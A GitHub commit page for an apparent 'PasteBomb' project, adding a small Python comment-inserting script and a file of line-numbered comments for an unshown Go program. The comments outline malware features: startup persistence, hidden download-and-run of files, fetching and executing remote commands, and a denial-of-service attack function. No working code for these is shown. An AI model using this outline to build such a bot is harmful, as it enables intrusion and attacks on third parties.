Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
marco-liberale committed Mar 28, 2024
2 parents 1f2299c + 8da4907 commit 95f573c
Show file tree
Hide file tree
Showing 8 changed files with 444 additions and 32 deletions.
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
*.dll
*.so
*.dylib

.idea/
# Test binary, built with `go test -c`
*.test

Expand Down
8 changes: 0 additions & 8 deletions .idea/.gitignore

This file was deleted.

9 changes: 0 additions & 9 deletions .idea/PasteBomb.iml

This file was deleted.

8 changes: 0 additions & 8 deletions .idea/modules.xml

This file was deleted.

6 changes: 0 additions & 6 deletions .idea/vcs.xml

This file was deleted.

34 changes: 34 additions & 0 deletions autoc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#!/usr/bin/python3

def parse_comments_file(comments_file_path):
comments = {}
with open(comments_file_path, 'r') as file:
for line in file:
if ': ' in line:
line_num, comment = line.split(': ', 1)
if line_num.isdigit():
comments[int(line_num)] = comment.strip()
return comments

def add_comments_to_code(code_file_path, comments):
with open(code_file_path, 'r') as file:
code_lines = file.readlines()

for line_num, comment in comments.items():
if line_num - 1 < len(code_lines):
code_lines[line_num - 1] = comment + '\n' + code_lines[line_num - 1]

with open(code_file_path, 'w') as file:
file.writelines(code_lines)

def main():
comments_file_path = input("Enter the path to the comments file: ")
code_file_path = input("Enter the path to the code file: ")

comments = parse_comments_file(comments_file_path)
add_comments_to_code(code_file_path, comments)

print("Comments have been added to the code file.")

if __name__ == "__main__":
main()
55 changes: 55 additions & 0 deletions comments.autoc
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
1: // Package declaration

3: // TODO comments to track future enhancements and testing requirements

17: // Import statements to include necessary packages

19: // Function to check if the program is running with administrative privileges on Windows

24: // Function to copy a file from a source path (src) to a destination path (dst)

32: // Function to copy the executable to the startup folder on Windows

44: // Checks if the program is running with administrative privileges and sets the startup path accordingly

51: // Copies the executable to the startup folder and prints the result

61: // Function to execute a shell script named "otherScript.sh"

68: // Function to determine the OS and set the program to run at startup accordingly

74: // Struct defining the configuration with URL and backup URLs

79: // Function to download a file from a URL and optionally run or hide it after downloading

92: // Checks the HTTP response and proceeds only if successful

100: // Writes the downloaded content to a file

108: // Optionally hides the file on the filesystem

118: // Optionally runs the downloaded file

130: // Function to display a message in a temporary HTML file and open it in a browser

144: // Function to open the temporary HTML file in the default web browser

153: // Function to load the configuration from a JSON file

168: // Function to fetch a command from a list of URLs provided in the Config struct

184: // Function to generate a random string of a specified length

195: // Function to perform a Denial of Service (DoS) attack on a specified target and port for a duration

211: // Function to parse and execute commands received as strings

238: // Function to execute a system command with the provided name and arguments

251: // The main function, entry point of the program

253: // Sets the seed for the random number generator

255: // Loads configuration from a file

262: // Infinite loop to fetch and execute commands at a regular interval
Loading

0 comments on commit 95f573c

Please sign in to comment.